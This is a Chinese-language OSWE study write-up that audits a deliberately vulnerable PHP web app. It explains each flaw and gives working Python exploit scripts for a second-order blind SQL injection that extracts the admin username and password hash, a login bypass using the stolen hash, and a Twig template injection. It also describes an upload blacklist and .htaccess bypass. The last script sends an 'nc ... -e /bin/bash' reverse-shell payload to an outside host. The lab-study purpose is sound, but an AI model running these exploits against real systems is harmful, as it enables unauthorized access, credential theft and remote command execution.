备考OSWE,本次分析的代码是White-box-pentesting 。涉及到三个漏洞,二阶盲注 、登录逻辑验证不当 、模版注入 。
首先访问网站,如下所示:
可以看到网站需要登录,我们暂时没有用户,尝试注册。注册的部分实现代码在trouble1_whiteBox/register.php
:
1 2 3 4 5 6 7 8 9 <?php include ("config.php" ); session_start(); if ($_SERVER["REQUEST_METHOD" ] == "POST" ) { if (isset ($_POST['register' ])){ $myusername = mysqli_real_escape_string($db,$_POST['username' ]); $mypassword = mysqli_real_escape_string($db,$_POST['form_password_hidden' ]);
可以发现对注册的用户名和密码适用mysqli_real_escape_string
函数进行了过滤。
随便注册一个普通账户,登录之后发现会显示登录日志。
日志信息会更新存入数据库,然后是从数据库中获取的,更新日志代码实现在trouble1_whiteBox/user_log_update.php
中,部分代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php include ('session.php' ); if (isset ($login_session)) { $date = date('m/d/Y h:i:s a' , time()); $sql = "INSERT INTO user_log(username, login_date) values ('$login_session', '$date')" ; $result = mysqli_query($db,$sql); $row = mysqli_fetch_array($result,MYSQLI_ASSOC); if ($result == true ){ header("location: welcome.php" ); $log_update_msg = 'Log files updated' ; } }
如果这里的insert
出现错误,则用户的信息不会被插入数据库。
显示日志代码实现在trouble1_whiteBox/user_log.php
,部分代码实现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php if (isset ($login_session)) { $sql = "SELECT * FROM user_log WHERE username = '$login_session'" ; $res=$db->query($sql); $count = '1' ; while ($row = @mysqli_fetch_array($res)) { echo $count.' ' .'Username: ' .$row["username" ].' ' .'Date: ' . $row["login_date" ].'<br>' ; $count = $count + 1 ; } }
注意查询用户登录日志的时候,用户名使用的$login_session
,这个变量是从数据里直接取出来的,虽然注册的用户名经过过滤,但是用户名中如果存在单引号会带入数据库中,如果后续从数据库中取出该用户名,没有过滤的话会引起注入。
查看trouble1_whiteBox/session.php
文件实现代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php include ('config.php' ); session_start(); $user_check = $_SESSION['login_user' ]; $ses_sql = mysqli_query($db,"select username from users where username = '$user_check' " ); $row = mysqli_fetch_array($ses_sql,MYSQLI_ASSOC); $login_session = $row['username' ]; if (!isset ($login_session)){ header("location: index.php" ); } ?>
获取用户名存在问题,如果用户输入的用户名存在单引号等注入非法字符,会原封不动的从数据库里获取,这样$login_session
就带入了单引号,在查询登录日志信息时会引起注入。
注册两个用户,分别是' or 1=1#
和' or 1=2#
,登录之后,发现用户登录日志会不同,也就是说这里存在二阶盲注。
' or 1=1#
登录后的日志信息截图如下:
' or 1=2#
登录后的日志信息截图如下:
那么,就可以通过二阶盲注获取管理员用户和密码。具体代码实现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 import requestsimport sysimport hashlibdef sha1 (password) : m = hashlib.sha1() m.update(password.encode("utf-8" )) return m.hexdigest() def gen_hash (password, token) : m = hashlib.sha1() m.update((password + token).encode("utf-8" )) return m.hexdigest() def register (ip, inj_str) : for j in range(32 , 126 ): target = "http://%s//register.php" % (ip) password = 'password' passhashed = sha1(password) username = '%s' % (inj_str.replace("[CHAR]" , str(j))) data = { "form_password_hidden" : passhashed, "username" : username, "password" : "" , "register" : 'submit' } r = requests.post(target, data=data, allow_redirects=True ) return True def login (ip, inj_str) : for j in range(32 , 126 ): target = "http://%s/login.php" % (ip) token = 'token' password = 'password' passhashed = sha1(password) hashed = gen_hash(passhashed, token) username = '%s' % (inj_str.replace("[CHAR]" , str(j))) data = { "form_password_hidden" : hashed, "username" : username, "password" : "" , "submit" : 'submit' , "token" : 'token' } s = requests.Session() r = s.post(target, data=data) res = r.text if 'welcome' in res or 'Welcome' in res: target = "http://%s/user_log.php" % (ip) r = s.get(target) content_length = int(r.headers['Content-Length' ]) if content_length > 344 : return j return False def inject (r, inj, ip) : extracted = "" for k in range(1 , r): injection_string = "'or (ascii(substring(((%s)),%s,1)))=[CHAR]#" % (inj, k) register(ip, injection_string) retrieved_value = login(ip, injection_string) if retrieved_value: extracted += chr(retrieved_value) extracted_char = chr(retrieved_value) sys.stdout.write(extracted_char) sys.stdout.flush() else : print("\n(+) done!" ) break return extracted def main () : if len(sys.argv) != 2 : print("(+) usage: %s <target>" % sys.argv[0 ]) print('(+) eg: %s 192.168.1.100' % sys.argv[0 ]) sys.exit(-1 ) ip = sys.argv[1 ] print("(+) logging in" ) print("(+) Retrieving username...." ) query = "select username from admin where id=1" username = inject(40 , query, ip) print("(+) Retrieving Password hash...." ) query = 'select password from admin where username = \'%s\' limit 1' % (username) password = inject(50 , query, ip) print("(+) Credentials: %s / %s" % (username, password)) if __name__ == "__main__" : main()
接下里看一下登录逻辑,trouble1_whiteBox/login.php
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <?php include ("config.php" ); session_start(); if (isset ($_POST['token' ])) { $_SESSION['token' ] = $_POST['token' ]; } else { if (!isset ($_SESSION['token' ])) $_SESSION['token' ] = sha1(mt_rand() . microtime(TRUE )); } if ($_SERVER["REQUEST_METHOD" ] == "POST" ) { if (isset ($_POST['username' ])){ $myusername = mysqli_real_escape_string($db,$_POST['username' ]); $mypassword = mysqli_real_escape_string($db,$_POST['form_password_hidden' ]); $passtoken = $_SESSION['token' ]; $sql = "SELECT id FROM users WHERE username = '$myusername' and SHA1(CONCAT(password, '$passtoken'))='$mypassword'" ; $result = mysqli_query($db,$sql); $row = mysqli_fetch_array($result,MYSQLI_ASSOC); $active = $row['active' ]; $count = mysqli_num_rows($result); if ($count == 1 ) { $_SESSION['login_user' ] = $myusername; include ('user_log_update.php' ); header("location: welcome.php" ); }else { $error = "Your Login Name or Password is invalid" ; } } } ?>
注意查询语句$sql = "SELECT id FROM users WHERE username = '$myusername' and SHA1(CONCAT(password, '$passtoken'))='$mypassword'";
,我们在开始利用二阶忙注已经获取用户名和密码的hash,其中密码hash破解起来非常困难,在这里可以看到只要满足查询条件,即可登录用户成功。$mypassword
和$passtoken
都是我们可以控制的,查询语句中的password
我们已经通过注入获取到,查询语句的条件我们都可以让其满足,从而可以登录成功。
利用代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import requestsimport sysimport hashlibdef gen_hash (sha1password, token) : m = hashlib.sha1() m.update(sha1password + token) return m.hexdigest() def login (ip, username, password) : target = "http://%s//login.php" % (ip) token = 'token' password = gen_hash(password, token) data = { "form_password_hidden" : password, "username" : username, "password" : "" , "submit" : 'submit' , "token" : token } s = requests.Session() r = s.post(target, data=data) res = r.text if 'welcome' in res or 'Welcome' in res: print("(+) Login Successful" ) print("(+) Login using hash was successful" ) else : print("(-) Login Failed" ) def main () : if len(sys.argv) != 4 : print("(+) usage: %s <target> <username> <hash>" % sys.argv[0 ]) print('(+) eg: %s 192.168.1.100 test 6def5b004ce10c7667f82c776b1a0c75b599cdd8' % sys.argv[0 ]) sys.exit(-1 ) ip = sys.argv[1 ] username = sys.argv[2 ] password = sys.argv[3 ] login(ip, username, password) if __name__ == "__main__" : main()
登录admin
后台之后,发现存在上传点,查看上传的实现代码trouble1_whiteBox/upload.php
如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php if (isset ($_REQUEST['upload' ])){ if ($_FILES["file" ]["error" ]) { header("Location: welcome.php" ); die (); } $notAllowed = array ('php' ,'php1' ,'php2' ,'php3' ,'php4' ,'php5' ,'php6' ,'php7' ,'phtml' ,'exe' ,'html' ,'cgi' ,'asp' ,'gif' ,'jpeg' ,'png' ,'vb' ,'inf' ); $splitFileName = explode("." , $_FILES["file" ]["name" ]); $fileExtension = end($splitFileName); if (in_array($fileExtension, $notAllowed)) { echo "Please upload a TEXT file" ; } else { echo "Name: " .$_FILES["file" ]["name" ]; echo "<br>Size: " .$_FILES["file" ]["size" ]; echo "<br>Temp File: " .$_FILES["file" ]["tmp_name" ]; echo "<br>Type: " .$_FILES["file" ]["type" ]; move_uploaded_file($_FILES["file" ]["tmp_name" ], "uploads/" .$_FILES["file" ]["name" ]); }
发现存在黑名单,显然可以绕过,如上传*.Php
这样的文件即可,但是uploads
目录下存在.htaccess
文件,内容如下:
1 2 order deny, allow deny from all
如果可以上传文件覆盖.htaccess
文件为如下内容:
1 SetHandler application/x-httpd-php
那么上传的任意文件都会被当作php
脚本来执行。这样就可以绕过目录php
代码执行的限制。
或者指定解析某种类型后缀的文件:
1 AddType application/x-httpd-php .abc
上面所示,任何以abc
为后缀的文件都会当作php
解析。
为了使目录下的.htaccess
文件起作用,需要设置apache2.conf
。.htaccess
不起作用的原因 ,通常是apache2.conf
文件的AllowOverride
设置有问题, 可能是AllowOverride None
造成的。把这个改为AllowOverride All
即可。
除了有上传点,可以发现username
那里存在模板注入,通过阅读源码trouble1_whiteBox/admin/welcome.php
,部分代码如下:
1 2 3 4 5 6 7 8 9 <div style="padding:10px;" > <form method='POST' action='' > <div class="form-group"> <label>Search username</label><br> <input style="width:200px" class="form-control" width="50%" placeholder="Enter username" name="name"> <br><br> <div align="left" > <button class="btn btn-default" type="submit" name='submit'>Submit Button</button> <?php include ('vendor/twig.php' )?>
twig.php
看到这个文件,怀疑存在twig
模板注入。查看twig.php
具体实现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php if (isset ($_REQUEST['submit' ])) { $name=$_POST['name' ]; if (preg_match('/^[A-Za-z]{1}[A-Za-z0-9]{0,31}$/' , $name)){ include 'vendor/twig/twig/lib/Twig/Autoloader.php' ; Twig_Autoloader::register(); try { $loader = new Twig_Loader_String(); $twig = new Twig_Environment($loader); $result= $twig->render($name); echo "<h2>Hello " . @$result ."</h2>" ; } catch (Exception $e) { die ('ERROR: ' . $e->getMessage()); } } } ?>
这里存在模板注入,可以简单测试,在username
里输入49
会得到结果49
,如下所示:
这样就证明存在模板注入,查找twig
模板注入payload
,执行如下payload
:
1 {{_self.env.registerUndefinedFilterCallback("exec")}} {{_self.env.getFilter("id")}}
显示用户的ID,以及所属群组的ID,要获取反弹shell
只需替换如下payload
中的reverse shell payload
即可:
1 {{_self.env.registerUndefinedFilterCallback("exec")}{{_self.env.getFilter("reverse shell payload")}}
反弹shell的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 def admin_login (ip, username, password) : target = "http://%s/admin/index.php" % (ip) token = 'token' password = gen_hash(password, token) data = { "form_password_hidden" : password, "username" : username, "password" : "" , "submit" : 'submit' , "token" : token } s = requests.Session() r = s.post(target, data=data) res = r.text if 'welcome' in res or 'Welcome' in res: print("(+) Login Successful" ) print("(+) Login using hash was successful" ) else : print("(-) Login Failed" ) print("(+) Getting reverse shell" ) target = "http://%s/admin/welcome.php" % (ip) payload = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("nc %s %s -e ' \ '/bin/bash")}}' % ("192.168.13.4" , "4444" ) data = { "name" : payload, "submit" : 'submit' , } _ = s.post(target, data=data)